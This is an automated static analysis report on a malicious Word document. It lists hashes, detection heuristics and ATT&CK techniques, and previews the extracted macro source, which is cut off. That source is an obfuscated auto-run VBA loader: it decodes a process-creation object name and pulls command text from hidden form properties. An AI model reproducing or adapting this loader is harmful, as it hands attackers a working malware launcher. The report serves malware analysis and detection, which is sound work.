Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 01003564db8e02cd…

MALICIOUS

Office (OLE)

241.4 KB Created: 2020-08-17 23:29:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: b4e0914244c43592131f5533d2e79690 SHA-1: 79ca19eefbfc895216bd364ec99fd2c799fc1af9 SHA-256: 01003564db8e02cdc33e4d259b217f180b85cc278ef24e8f8077a6071c0899d6
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is designed to execute automatically when the document is opened. Heuristics indicate a hidden UserForm command stager, a common technique for executing malicious code. The ClamAV detection further confirms its malicious nature. The VBA code appears to be obfuscated, but the primary intent is to execute a payload.

Heuristics 7

  • ClamAV: Doc.Malware.Evbj-9371580-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Evbj-9371580-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10248 bytes
SHA-256: 5e9d173dff43d32ea5188b8100fb1cbfbd8632e81bffa0f24aac72537eecde88
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Qkbrhkf1zkvso76unq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ya8h0clcjinw0i6d5l.V4opvrkel3o3575m3
End Sub


Attribute VB_Name = "Ya8h0clcjinw0i6d5l"
Attribute VB_Base = "0{0D9F3031-24A3-41E6-A99F-2275AFBF5BAF}{484C954E-678A-4452-B5BC-976E4D79F969}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function V4opvrkel3o3575m3()
   If 791639 <> 777579 Then
O_egs942eqb81io = 791639 + 1989
Aw_kn613m26idpic = 777579 - 2013
Else
InputBox (CStr(O_egs942eqb81io) & CStr(Aw_kn613m26idpic))
End If
Aw_kn613m26idpic = "KAjamLNcTV"
R1ofg1icchftagd0pz = 623691
Ovec67wy0wesdxd = Ovec67wy0wesdxd & CStr(R1ofg1icchftagd0pz)
Nbugdfs_lh9nj1t = Ovec67wy0wesdxd
Rbj40qk36fj_dorw = Ya8h0clcjinw0i6d5l.HelpContextId + 100
   If 791639 <> 777579 Then
O_egs942eqb81io = 791639 + 1989
Aw_kn613m26idpic = 777579 - 2013
Else
InputBox (CStr(O_egs942eqb81io) & CStr(Aw_kn613m26idpic))
End If
Aw_kn613m26idpic = "KAjamLNcTV"
R1ofg1icchftagd0pz = 623691
Ovec67wy0wesdxd = Ovec67wy0wesdxd & CStr(R1ofg1icchftagd0pz)
Nbugdfs_lh9nj1t = Ovec67wy0wesdxd
Nelbx7ho7fyx0 = ChrW(Rbj40qk36fj_dorw + (100 + 35) / 9)
   If 791639 <> 777579 Then
O_egs942eqb81io = 791639 + 1989
Aw_kn613m26idpic = 777579 - 2013
Else
InputBox (CStr(O_egs942eqb81io) & CStr(Aw_kn613m26idpic))
End If
Aw_kn613m26idpic = "KAjamLNcTV"
R1ofg1icchftagd0pz = 623691
Ovec67wy0wesdxd = Ovec67wy0wesdxd & CStr(R1ofg1icchftagd0pz)
Nbugdfs_lh9nj1t = Ovec67wy0wesdxd
Obtmrnq4r73cr = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Nelbx7ho7fyx0 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Ya8h0clcjinw0i6d5l.Van8m_4k5av19jj + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
O_egs942eqb81io = 791639 + 1989
Aw_kn613m26idpic = 777579 - 2013
Else
InputBox (CStr(O_egs942eqb81io) & CStr(Aw_kn613m26idpic))
End If
Aw_kn613m26idpic = "KAjamLNcTV"
R1ofg1icchftagd0pz = 623691
Ovec67wy0wesdxd = Ovec67wy0wesdxd & CStr(R1ofg1icchftagd0pz)
Nbugdfs_lh9nj1t = Ovec67wy0wesdxd
Bploebp9fgvhm_d2 = Thytf2m9kyv(Obtmrnq4r73cr)
   If 791639 <> 777579 Then
O_egs942eqb81io = 791639 + 1989
Aw_kn613m26idpic = 777579 - 2013
Else
InputBox (CStr(O_egs942eqb81io) & CStr(Aw_kn613m26idpic))
End If
Aw_kn613m26idpic = "KAjamLNcTV"
R1ofg1icchftagd0pz = 623691
Ovec67wy0wesdxd = Ovec67wy0wesdxd & CStr(R1ofg1icchftagd0pz)
Nbugdfs_lh9nj1t = Ovec67wy0wesdxd
Set Vkwsf4_gdsl = CreateObject(Bploebp9fgvhm_d2)
   If 791639 <> 777579 Then
O_egs942eqb81io = 791639 + 1989
Aw_kn613m26idpic = 777579 - 2013
Else
InputBox (CStr(O_egs942eqb81io) & CStr(Aw_kn613m26idpic))
End If
Aw_kn613m26idpic = "KAjamLNcTV"
R1ofg1icchftagd0pz = 623691
Ovec67wy0wesdxd = Ovec67wy0wesdxd & CStr(R1ofg1icchftagd0pz)
Nbugdfs_lh9nj1t = Ovec67wy0wesdxd
Akgebiiq1m4 = Ya8h0clcjinw0i6d5l.Ityzjxm9xk_kfjztr.ControlTipText
   If 791639 <> 777579 Then
O_egs942eqb81io = 791639 + 1989
Aw_kn613m26idpic = 777579 - 2013
Else
InputBox (CStr(O_egs942eqb81io) & CStr(Aw_kn613m26idpic))
End If
Aw_kn6
... (truncated)